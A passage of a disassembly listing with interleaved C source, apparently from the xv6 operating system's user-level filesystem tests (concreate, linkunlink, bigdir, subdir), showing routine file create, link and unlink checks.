1983: 89 ca mov %ecx,%edx
1985: 83 fa 01 cmp $0x1,%edx
1988: 75 18 jne 19a2 <concreate+0x8a>
link("C0", file);
198a: 8d 45 e5 lea -0x1b(%ebp),%eax
198d: 89 44 24 04 mov %eax,0x4(%esp)
1991: c7 04 24 ca 4c 00 00 movl $0x4cca,(%esp)
1998: e8 78 25 00 00 call 3f15 <link>
199d: e9 87 00 00 00 jmp 1a29 <concreate+0x111>
} else if(pid == 0 && (i % 5) == 1){
19a2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
19a6: 75 3a jne 19e2 <concreate+0xca>
19a8: 8b 4d f4 mov -0xc(%ebp),%ecx
19ab: ba 67 66 66 66 mov $0x66666667,%edx
19b0: 89 c8 mov %ecx,%eax
19b2: f7 ea imul %edx
19b4: d1 fa sar %edx
19b6: 89 c8 mov %ecx,%eax
19b8: c1 f8 1f sar $0x1f,%eax
19bb: 29 c2 sub %eax,%edx
19bd: 89 d0 mov %edx,%eax
19bf: c1 e0 02 shl $0x2,%eax
19c2: 01 d0 add %edx,%eax
19c4: 29 c1 sub %eax,%ecx
19c6: 89 ca mov %ecx,%edx
19c8: 83 fa 01 cmp $0x1,%edx
19cb: 75 15 jne 19e2 <concreate+0xca>
link("C0", file);
19cd: 8d 45 e5 lea -0x1b(%ebp),%eax
19d0: 89 44 24 04 mov %eax,0x4(%esp)
19d4: c7 04 24 ca 4c 00 00 movl $0x4cca,(%esp)
19db: e8 35 25 00 00 call 3f15 <link>
19e0: eb 47 jmp 1a29 <concreate+0x111>
} else {
fd = open(file, O_CREATE | O_RDWR);
19e2: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
19e9: 00
19ea: 8d 45 e5 lea -0x1b(%ebp),%eax
19ed: 89 04 24 mov %eax,(%esp)
19f0: e8 00 25 00 00 call 3ef5 <open>
19f5: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
19f8: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
19fc: 79 20 jns 1a1e <concreate+0x106>
printf(1, "concreate create %s failed\n", file);
19fe: 8d 45 e5 lea -0x1b(%ebp),%eax
1a01: 89 44 24 08 mov %eax,0x8(%esp)
1a05: c7 44 24 04 cd 4c 00 movl $0x4ccd,0x4(%esp)
1a0c: 00
1a0d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a14: e8 1c 26 00 00 call 4035 <printf>
exit();
1a19: e8 97 24 00 00 call 3eb5 <exit>
}
close(fd);
1a1e: 8b 45 e8 mov -0x18(%ebp),%eax
1a21: 89 04 24 mov %eax,(%esp)
1a24: e8 b4 24 00 00 call 3edd <close>
}
if(pid == 0)
1a29: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1a2d: 75 05 jne 1a34 <concreate+0x11c>
exit();
1a2f: e8 81 24 00 00 call 3eb5 <exit>
else
wait();
1a34: e8 84 24 00 00 call 3ebd <wait>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
1a39: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1a3d: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
1a41: 0f 8e ff fe ff ff jle 1946 <concreate+0x2e>
exit();
else
wait();
}
memset(fa, 0, sizeof(fa));
1a47: c7 44 24 08 28 00 00 movl $0x28,0x8(%esp)
1a4e: 00
1a4f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1a56: 00
1a57: 8d 45 bd lea -0x43(%ebp),%eax
1a5a: 89 04 24 mov %eax,(%esp)
1a5d: e8 a6 22 00 00 call 3d08 <memset>
fd = open(".", 0);
1a62: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1a69: 00
1a6a: c7 04 24 8f 4c 00 00 movl $0x4c8f,(%esp)
1a71: e8 7f 24 00 00 call 3ef5 <open>
1a76: 89 45 e8 mov %eax,-0x18(%ebp)
n = 0;
1a79: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
1a80: e9 a1 00 00 00 jmp 1b26 <concreate+0x20e>
if(de.inum == 0)
1a85: 0f b7 45 ac movzwl -0x54(%ebp),%eax
1a89: 66 85 c0 test %ax,%ax
1a8c: 75 05 jne 1a93 <concreate+0x17b>
continue;
1a8e: e9 93 00 00 00 jmp 1b26 <concreate+0x20e>
if(de.name[0] == 'C' && de.name[2] == '\0'){
1a93: 0f b6 45 ae movzbl -0x52(%ebp),%eax
1a97: 3c 43 cmp $0x43,%al
1a99: 0f 85 87 00 00 00 jne 1b26 <concreate+0x20e>
1a9f: 0f b6 45 b0 movzbl -0x50(%ebp),%eax
1aa3: 84 c0 test %al,%al
1aa5: 75 7f jne 1b26 <concreate+0x20e>
i = de.name[1] - '0';
1aa7: 0f b6 45 af movzbl -0x51(%ebp),%eax
1aab: 0f be c0 movsbl %al,%eax
1aae: 83 e8 30 sub $0x30,%eax
1ab1: 89 45 f4 mov %eax,-0xc(%ebp)
if(i < 0 || i >= sizeof(fa)){
1ab4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1ab8: 78 08 js 1ac2 <concreate+0x1aa>
1aba: 8b 45 f4 mov -0xc(%ebp),%eax
1abd: 83 f8 27 cmp $0x27,%eax
1ac0: 76 23 jbe 1ae5 <concreate+0x1cd>
printf(1, "concreate weird file %s\n", de.name);
1ac2: 8d 45 ac lea -0x54(%ebp),%eax
1ac5: 83 c0 02 add $0x2,%eax
1ac8: 89 44 24 08 mov %eax,0x8(%esp)
1acc: c7 44 24 04 e9 4c 00 movl $0x4ce9,0x4(%esp)
1ad3: 00
1ad4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1adb: e8 55 25 00 00 call 4035 <printf>
exit();
1ae0: e8 d0 23 00 00 call 3eb5 <exit>
}
if(fa[i]){
1ae5: 8d 55 bd lea -0x43(%ebp),%edx
1ae8: 8b 45 f4 mov -0xc(%ebp),%eax
1aeb: 01 d0 add %edx,%eax
1aed: 0f b6 00 movzbl (%eax),%eax
1af0: 84 c0 test %al,%al
1af2: 74 23 je 1b17 <concreate+0x1ff>
printf(1, "concreate duplicate file %s\n", de.name);
1af4: 8d 45 ac lea -0x54(%ebp),%eax
1af7: 83 c0 02 add $0x2,%eax
1afa: 89 44 24 08 mov %eax,0x8(%esp)
1afe: c7 44 24 04 02 4d 00 movl $0x4d02,0x4(%esp)
1b05: 00
1b06: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b0d: e8 23 25 00 00 call 4035 <printf>
exit();
1b12: e8 9e 23 00 00 call 3eb5 <exit>
}
fa[i] = 1;
1b17: 8d 55 bd lea -0x43(%ebp),%edx
1b1a: 8b 45 f4 mov -0xc(%ebp),%eax
1b1d: 01 d0 add %edx,%eax
1b1f: c6 00 01 movb $0x1,(%eax)
n++;
1b22: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
memset(fa, 0, sizeof(fa));
fd = open(".", 0);
n = 0;
while(read(fd, &de, sizeof(de)) > 0){
1b26: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
1b2d: 00
1b2e: 8d 45 ac lea -0x54(%ebp),%eax
1b31: 89 44 24 04 mov %eax,0x4(%esp)
1b35: 8b 45 e8 mov -0x18(%ebp),%eax
1b38: 89 04 24 mov %eax,(%esp)
1b3b: e8 8d 23 00 00 call 3ecd <read>
1b40: 85 c0 test %eax,%eax
1b42: 0f 8f 3d ff ff ff jg 1a85 <concreate+0x16d>
}
fa[i] = 1;
n++;
}
}
close(fd);
1b48: 8b 45 e8 mov -0x18(%ebp),%eax
1b4b: 89 04 24 mov %eax,(%esp)
1b4e: e8 8a 23 00 00 call 3edd <close>
if(n != 40){
1b53: 83 7d f0 28 cmpl $0x28,-0x10(%ebp)
1b57: 74 19 je 1b72 <concreate+0x25a>
printf(1, "concreate not enough files in directory listing\n");
1b59: c7 44 24 04 20 4d 00 movl $0x4d20,0x4(%esp)
1b60: 00
1b61: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b68: e8 c8 24 00 00 call 4035 <printf>
exit();
1b6d: e8 43 23 00 00 call 3eb5 <exit>
}
for(i = 0; i < 40; i++){
1b72: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1b79: e9 2d 01 00 00 jmp 1cab <concreate+0x393>
file[1] = '0' + i;
1b7e: 8b 45 f4 mov -0xc(%ebp),%eax
1b81: 83 c0 30 add $0x30,%eax
1b84: 88 45 e6 mov %al,-0x1a(%ebp)
pid = fork();
1b87: e8 21 23 00 00 call 3ead <fork>
1b8c: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
1b8f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1b93: 79 19 jns 1bae <concreate+0x296>
printf(1, "fork failed\n");
1b95: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
1b9c: 00
1b9d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ba4: e8 8c 24 00 00 call 4035 <printf>
exit();
1ba9: e8 07 23 00 00 call 3eb5 <exit>
}
if(((i % 3) == 0 && pid == 0) ||
1bae: 8b 4d f4 mov -0xc(%ebp),%ecx
1bb1: ba 56 55 55 55 mov $0x55555556,%edx
1bb6: 89 c8 mov %ecx,%eax
1bb8: f7 ea imul %edx
1bba: 89 c8 mov %ecx,%eax
1bbc: c1 f8 1f sar $0x1f,%eax
1bbf: 29 c2 sub %eax,%edx
1bc1: 89 d0 mov %edx,%eax
1bc3: 01 c0 add %eax,%eax
1bc5: 01 d0 add %edx,%eax
1bc7: 29 c1 sub %eax,%ecx
1bc9: 89 ca mov %ecx,%edx
1bcb: 85 d2 test %edx,%edx
1bcd: 75 06 jne 1bd5 <concreate+0x2bd>
1bcf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1bd3: 74 28 je 1bfd <concreate+0x2e5>
((i % 3) == 1 && pid != 0)){
1bd5: 8b 4d f4 mov -0xc(%ebp),%ecx
1bd8: ba 56 55 55 55 mov $0x55555556,%edx
1bdd: 89 c8 mov %ecx,%eax
1bdf: f7 ea imul %edx
1be1: 89 c8 mov %ecx,%eax
1be3: c1 f8 1f sar $0x1f,%eax
1be6: 29 c2 sub %eax,%edx
1be8: 89 d0 mov %edx,%eax
1bea: 01 c0 add %eax,%eax
1bec: 01 d0 add %edx,%eax
1bee: 29 c1 sub %eax,%ecx
1bf0: 89 ca mov %ecx,%edx
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
exit();
}
if(((i % 3) == 0 && pid == 0) ||
1bf2: 83 fa 01 cmp $0x1,%edx
1bf5: 75 74 jne 1c6b <concreate+0x353>
((i % 3) == 1 && pid != 0)){
1bf7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1bfb: 74 6e je 1c6b <concreate+0x353>
close(open(file, 0));
1bfd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c04: 00
1c05: 8d 45 e5 lea -0x1b(%ebp),%eax
1c08: 89 04 24 mov %eax,(%esp)
1c0b: e8 e5 22 00 00 call 3ef5 <open>
1c10: 89 04 24 mov %eax,(%esp)
1c13: e8 c5 22 00 00 call 3edd <close>
close(open(file, 0));
1c18: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c1f: 00
1c20: 8d 45 e5 lea -0x1b(%ebp),%eax
1c23: 89 04 24 mov %eax,(%esp)
1c26: e8 ca 22 00 00 call 3ef5 <open>
1c2b: 89 04 24 mov %eax,(%esp)
1c2e: e8 aa 22 00 00 call 3edd <close>
close(open(file, 0));
1c33: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c3a: 00
1c3b: 8d 45 e5 lea -0x1b(%ebp),%eax
1c3e: 89 04 24 mov %eax,(%esp)
1c41: e8 af 22 00 00 call 3ef5 <open>
1c46: 89 04 24 mov %eax,(%esp)
1c49: e8 8f 22 00 00 call 3edd <close>
close(open(file, 0));
1c4e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c55: 00
1c56: 8d 45 e5 lea -0x1b(%ebp),%eax
1c59: 89 04 24 mov %eax,(%esp)
1c5c: e8 94 22 00 00 call 3ef5 <open>
1c61: 89 04 24 mov %eax,(%esp)
1c64: e8 74 22 00 00 call 3edd <close>
1c69: eb 2c jmp 1c97 <concreate+0x37f>
} else {
unlink(file);
1c6b: 8d 45 e5 lea -0x1b(%ebp),%eax
1c6e: 89 04 24 mov %eax,(%esp)
1c71: e8 8f 22 00 00 call 3f05 <unlink>
unlink(file);
1c76: 8d 45 e5 lea -0x1b(%ebp),%eax
1c79: 89 04 24 mov %eax,(%esp)
1c7c: e8 84 22 00 00 call 3f05 <unlink>
unlink(file);
1c81: 8d 45 e5 lea -0x1b(%ebp),%eax
1c84: 89 04 24 mov %eax,(%esp)
1c87: e8 79 22 00 00 call 3f05 <unlink>
unlink(file);
1c8c: 8d 45 e5 lea -0x1b(%ebp),%eax
1c8f: 89 04 24 mov %eax,(%esp)
1c92: e8 6e 22 00 00 call 3f05 <unlink>
}
if(pid == 0)
1c97: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1c9b: 75 05 jne 1ca2 <concreate+0x38a>
exit();
1c9d: e8 13 22 00 00 call 3eb5 <exit>
else
wait();
1ca2: e8 16 22 00 00 call 3ebd <wait>
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
exit();
}
for(i = 0; i < 40; i++){
1ca7: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1cab: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
1caf: 0f 8e c9 fe ff ff jle 1b7e <concreate+0x266>
exit();
else
wait();
}
printf(1, "concreate ok\n");
1cb5: c7 44 24 04 51 4d 00 movl $0x4d51,0x4(%esp)
1cbc: 00
1cbd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1cc4: e8 6c 23 00 00 call 4035 <printf>
}
1cc9: c9 leave
1cca: c3 ret
00001ccb <linkunlink>:
// another concurrent link/unlink/create test,
// to look for deadlocks.
void
linkunlink()
{
1ccb: 55 push %ebp
1ccc: 89 e5 mov %esp,%ebp
1cce: 83 ec 28 sub $0x28,%esp
int pid, i;
printf(1, "linkunlink test\n");
1cd1: c7 44 24 04 5f 4d 00 movl $0x4d5f,0x4(%esp)
1cd8: 00
1cd9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ce0: e8 50 23 00 00 call 4035 <printf>
unlink("x");
1ce5: c7 04 24 db 48 00 00 movl $0x48db,(%esp)
1cec: e8 14 22 00 00 call 3f05 <unlink>
pid = fork();
1cf1: e8 b7 21 00 00 call 3ead <fork>
1cf6: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
1cf9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1cfd: 79 19 jns 1d18 <linkunlink+0x4d>
printf(1, "fork failed\n");
1cff: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
1d06: 00
1d07: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d0e: e8 22 23 00 00 call 4035 <printf>
exit();
1d13: e8 9d 21 00 00 call 3eb5 <exit>
}
unsigned int x = (pid ? 1 : 97);
1d18: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1d1c: 74 07 je 1d25 <linkunlink+0x5a>
1d1e: b8 01 00 00 00 mov $0x1,%eax
1d23: eb 05 jmp 1d2a <linkunlink+0x5f>
1d25: b8 61 00 00 00 mov $0x61,%eax
1d2a: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 100; i++){
1d2d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1d34: e9 8e 00 00 00 jmp 1dc7 <linkunlink+0xfc>
x = x * 1103515245 + 12345;
1d39: 8b 45 f0 mov -0x10(%ebp),%eax
1d3c: 69 c0 6d 4e c6 41 imul $0x41c64e6d,%eax,%eax
1d42: 05 39 30 00 00 add $0x3039,%eax
1d47: 89 45 f0 mov %eax,-0x10(%ebp)
if((x % 3) == 0){
1d4a: 8b 4d f0 mov -0x10(%ebp),%ecx
1d4d: ba ab aa aa aa mov $0xaaaaaaab,%edx
1d52: 89 c8 mov %ecx,%eax
1d54: f7 e2 mul %edx
1d56: d1 ea shr %edx
1d58: 89 d0 mov %edx,%eax
1d5a: 01 c0 add %eax,%eax
1d5c: 01 d0 add %edx,%eax
1d5e: 29 c1 sub %eax,%ecx
1d60: 89 ca mov %ecx,%edx
1d62: 85 d2 test %edx,%edx
1d64: 75 1e jne 1d84 <linkunlink+0xb9>
close(open("x", O_RDWR | O_CREATE));
1d66: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1d6d: 00
1d6e: c7 04 24 db 48 00 00 movl $0x48db,(%esp)
1d75: e8 7b 21 00 00 call 3ef5 <open>
1d7a: 89 04 24 mov %eax,(%esp)
1d7d: e8 5b 21 00 00 call 3edd <close>
1d82: eb 3f jmp 1dc3 <linkunlink+0xf8>
} else if((x % 3) == 1){
1d84: 8b 4d f0 mov -0x10(%ebp),%ecx
1d87: ba ab aa aa aa mov $0xaaaaaaab,%edx
1d8c: 89 c8 mov %ecx,%eax
1d8e: f7 e2 mul %edx
1d90: d1 ea shr %edx
1d92: 89 d0 mov %edx,%eax
1d94: 01 c0 add %eax,%eax
1d96: 01 d0 add %edx,%eax
1d98: 29 c1 sub %eax,%ecx
1d9a: 89 ca mov %ecx,%edx
1d9c: 83 fa 01 cmp $0x1,%edx
1d9f: 75 16 jne 1db7 <linkunlink+0xec>
link("cat", "x");
1da1: c7 44 24 04 db 48 00 movl $0x48db,0x4(%esp)
1da8: 00
1da9: c7 04 24 70 4d 00 00 movl $0x4d70,(%esp)
1db0: e8 60 21 00 00 call 3f15 <link>
1db5: eb 0c jmp 1dc3 <linkunlink+0xf8>
} else {
unlink("x");
1db7: c7 04 24 db 48 00 00 movl $0x48db,(%esp)
1dbe: e8 42 21 00 00 call 3f05 <unlink>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
for(i = 0; i < 100; i++){
1dc3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1dc7: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
1dcb: 0f 8e 68 ff ff ff jle 1d39 <linkunlink+0x6e>
} else {
unlink("x");
}
}
if(pid)
1dd1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1dd5: 74 07 je 1dde <linkunlink+0x113>
wait();
1dd7: e8 e1 20 00 00 call 3ebd <wait>
1ddc: eb 05 jmp 1de3 <linkunlink+0x118>
else
exit();
1dde: e8 d2 20 00 00 call 3eb5 <exit>
printf(1, "linkunlink ok\n");
1de3: c7 44 24 04 74 4d 00 movl $0x4d74,0x4(%esp)
1dea: 00
1deb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1df2: e8 3e 22 00 00 call 4035 <printf>
}
1df7: c9 leave
1df8: c3 ret
00001df9 <bigdir>:
// directory that uses indirect blocks
void
bigdir(void)
{
1df9: 55 push %ebp
1dfa: 89 e5 mov %esp,%ebp
1dfc: 83 ec 38 sub $0x38,%esp
int i, fd;
char name[10];
printf(1, "bigdir test\n");
1dff: c7 44 24 04 83 4d 00 movl $0x4d83,0x4(%esp)
1e06: 00
1e07: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e0e: e8 22 22 00 00 call 4035 <printf>
unlink("bd");
1e13: c7 04 24 90 4d 00 00 movl $0x4d90,(%esp)
1e1a: e8 e6 20 00 00 call 3f05 <unlink>
fd = open("bd", O_CREATE);
1e1f: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
1e26: 00
1e27: c7 04 24 90 4d 00 00 movl $0x4d90,(%esp)
1e2e: e8 c2 20 00 00 call 3ef5 <open>
1e33: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0){
1e36: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1e3a: 79 19 jns 1e55 <bigdir+0x5c>
printf(1, "bigdir create failed\n");
1e3c: c7 44 24 04 93 4d 00 movl $0x4d93,0x4(%esp)
1e43: 00
1e44: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e4b: e8 e5 21 00 00 call 4035 <printf>
exit();
1e50: e8 60 20 00 00 call 3eb5 <exit>
}
close(fd);
1e55: 8b 45 f0 mov -0x10(%ebp),%eax
1e58: 89 04 24 mov %eax,(%esp)
1e5b: e8 7d 20 00 00 call 3edd <close>
for(i = 0; i < 500; i++){
1e60: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1e67: eb 64 jmp 1ecd <bigdir+0xd4>
name[0] = 'x';
1e69: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1e6d: 8b 45 f4 mov -0xc(%ebp),%eax
1e70: 8d 50 3f lea 0x3f(%eax),%edx
1e73: 85 c0 test %eax,%eax
1e75: 0f 48 c2 cmovs %edx,%eax
1e78: c1 f8 06 sar $0x6,%eax
1e7b: 83 c0 30 add $0x30,%eax
1e7e: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1e81: 8b 45 f4 mov -0xc(%ebp),%eax
1e84: 99 cltd
1e85: c1 ea 1a shr $0x1a,%edx
1e88: 01 d0 add %edx,%eax
1e8a: 83 e0 3f and $0x3f,%eax
1e8d: 29 d0 sub %edx,%eax
1e8f: 83 c0 30 add $0x30,%eax
1e92: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1e95: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(link("bd", name) != 0){
1e99: 8d 45 e6 lea -0x1a(%ebp),%eax
1e9c: 89 44 24 04 mov %eax,0x4(%esp)
1ea0: c7 04 24 90 4d 00 00 movl $0x4d90,(%esp)
1ea7: e8 69 20 00 00 call 3f15 <link>
1eac: 85 c0 test %eax,%eax
1eae: 74 19 je 1ec9 <bigdir+0xd0>
printf(1, "bigdir link failed\n");
1eb0: c7 44 24 04 a9 4d 00 movl $0x4da9,0x4(%esp)
1eb7: 00
1eb8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ebf: e8 71 21 00 00 call 4035 <printf>
exit();
1ec4: e8 ec 1f 00 00 call 3eb5 <exit>
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
for(i = 0; i < 500; i++){
1ec9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1ecd: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1ed4: 7e 93 jle 1e69 <bigdir+0x70>
printf(1, "bigdir link failed\n");
exit();
}
}
unlink("bd");
1ed6: c7 04 24 90 4d 00 00 movl $0x4d90,(%esp)
1edd: e8 23 20 00 00 call 3f05 <unlink>
for(i = 0; i < 500; i++){
1ee2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1ee9: eb 5c jmp 1f47 <bigdir+0x14e>
name[0] = 'x';
1eeb: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1eef: 8b 45 f4 mov -0xc(%ebp),%eax
1ef2: 8d 50 3f lea 0x3f(%eax),%edx
1ef5: 85 c0 test %eax,%eax
1ef7: 0f 48 c2 cmovs %edx,%eax
1efa: c1 f8 06 sar $0x6,%eax
1efd: 83 c0 30 add $0x30,%eax
1f00: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1f03: 8b 45 f4 mov -0xc(%ebp),%eax
1f06: 99 cltd
1f07: c1 ea 1a shr $0x1a,%edx
1f0a: 01 d0 add %edx,%eax
1f0c: 83 e0 3f and $0x3f,%eax
1f0f: 29 d0 sub %edx,%eax
1f11: 83 c0 30 add $0x30,%eax
1f14: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1f17: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(unlink(name) != 0){
1f1b: 8d 45 e6 lea -0x1a(%ebp),%eax
1f1e: 89 04 24 mov %eax,(%esp)
1f21: e8 df 1f 00 00 call 3f05 <unlink>
1f26: 85 c0 test %eax,%eax
1f28: 74 19 je 1f43 <bigdir+0x14a>
printf(1, "bigdir unlink failed");
1f2a: c7 44 24 04 bd 4d 00 movl $0x4dbd,0x4(%esp)
1f31: 00
1f32: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f39: e8 f7 20 00 00 call 4035 <printf>
exit();
1f3e: e8 72 1f 00 00 call 3eb5 <exit>
exit();
}
}
unlink("bd");
for(i = 0; i < 500; i++){
1f43: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1f47: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1f4e: 7e 9b jle 1eeb <bigdir+0xf2>
printf(1, "bigdir unlink failed");
exit();
}
}
printf(1, "bigdir ok\n");
1f50: c7 44 24 04 d2 4d 00 movl $0x4dd2,0x4(%esp)
1f57: 00
1f58: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f5f: e8 d1 20 00 00 call 4035 <printf>
}
1f64: c9 leave
1f65: c3 ret
00001f66 <subdir>:
void
subdir(void)
{
1f66: 55 push %ebp
1f67: 89 e5 mov %esp,%ebp
1f69: 83 ec 28 sub $0x28,%esp
int fd, cc;
printf(1, "subdir test\n");
1f6c: c7 44 24 04 dd 4d 00 movl $0x4ddd,0x4(%esp)
1f73: 00
1f74: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f7b: e8 b5 20 00 00 call 4035 <printf>
unlink("ff");
1f80: c7 04 24 ea 4d 00 00 movl $0x4dea,(%esp)
1f87: e8 79 1f 00 00 call 3f05 <unlink>
if(mkdir("dd") != 0){
1f8c: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
1f93: e8 85 1f 00 00 call 3f1d <mkdir>
1f98: 85 c0 test %eax,%eax
1f9a: 74 19 je 1fb5 <subdir+0x4f>
printf(1, "subdir mkdir dd failed\n");
1f9c: c7 44 24 04 f0 4d 00 movl $0x4df0,0x4(%esp)
1fa3: 00
1fa4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1fab: e8 85 20 00 00 call 4035 <printf>
exit();
1fb0: e8 00 1f 00 00 call 3eb5 <exit>
}
fd = open("dd/ff", O_CREATE | O_RDWR);
1fb5: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1fbc: 00
1fbd: c7 04 24 08 4e 00 00 movl $0x4e08,(%esp)
1fc4: e8 2c 1f 00 00 call 3ef5 <open>
1fc9: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1fcc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1fd0: 79 19 jns 1feb <subdir+0x85>
printf(1, "create dd/ff failed\n");
1fd2: c7 44 24 04 0e 4e 00 movl $0x4e0e,0x4(%esp)
1fd9: 00
1fda: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1fe1: e8 4f 20 00 00 call 4035 <printf>
exit();
1fe6: e8 ca 1e 00 00 call 3eb5 <exit>
}
write(fd, "ff", 2);
1feb: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
1ff2: 00
1ff3: c7 44 24 04 ea 4d 00 movl $0x4dea,0x4(%esp)
1ffa: 00
1ffb: 8b 45 f4 mov -0xc(%ebp),%eax
1ffe: 89 04 24 mov %eax,(%esp)
2001: e8 cf 1e 00 00 call 3ed5 <write>
close(fd);
2006: 8b 45 f4 mov -0xc(%ebp),%eax
2009: 89 04 24 mov %eax,(%esp)
200c: e8 cc 1e 00 00 call 3edd <close>
if(unlink("dd") >= 0){
2011: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
2018: e8 e8 1e 00 00 call 3f05 <unlink>
201d: 85 c0 test %eax,%eax
201f: 78 19 js 203a <subdir+0xd4>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
2021: c7 44 24 04 24 4e 00 movl $0x4e24,0x4(%esp)
2028: 00
2029: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2030: e8 00 20 00 00 call 4035 <printf>
exit();
2035: e8 7b 1e 00 00 call 3eb5 <exit>
}
if(mkdir("/dd/dd") != 0){
203a: c7 04 24 4a 4e 00 00 movl $0x4e4a,(%esp)
2041: e8 d7 1e 00 00 call 3f1d <mkdir>
2046: 85 c0 test %eax,%eax
2048: 74 19 je 2063 <subdir+0xfd>
printf(1, "subdir mkdir dd/dd failed\n");
204a: c7 44 24 04 51 4e 00 movl $0x4e51,0x4(%esp)
2051: 00
2052: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2059: e8 d7 1f 00 00 call 4035 <printf>
exit();
205e: e8 52 1e 00 00 call 3eb5 <exit>
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
2063: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
206a: 00
206b: c7 04 24 6c 4e 00 00 movl $0x4e6c,(%esp)
2072: e8 7e 1e 00 00 call 3ef5 <open>
2077: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
207a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
207e: 79 19 jns 2099 <subdir+0x133>
printf(1, "create dd/dd/ff failed\n");
2080: c7 44 24 04 75 4e 00 movl $0x4e75,0x4(%esp)
2087: 00
2088: c7 04 24 01 00 00 00 movl $0x1,(%esp)
208f: e8 a1 1f 00 00 call 4035 <printf>
exit();
2094: e8 1c 1e 00 00 call 3eb5 <exit>
}
write(fd, "FF", 2);
2099: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
20a0: 00
20a1: c7 44 24 04 8d 4e 00 movl $0x4e8d,0x4(%esp)
20a8: 00
20a9: 8b 45 f4 mov -0xc(%ebp),%eax
20ac: 89 04 24 mov %eax,(%esp)
20af: e8 21 1e 00 00 call 3ed5 <write>
close(fd);
20b4: 8b 45 f4 mov -0xc(%ebp),%eax
20b7: 89 04 24 mov %eax,(%esp)
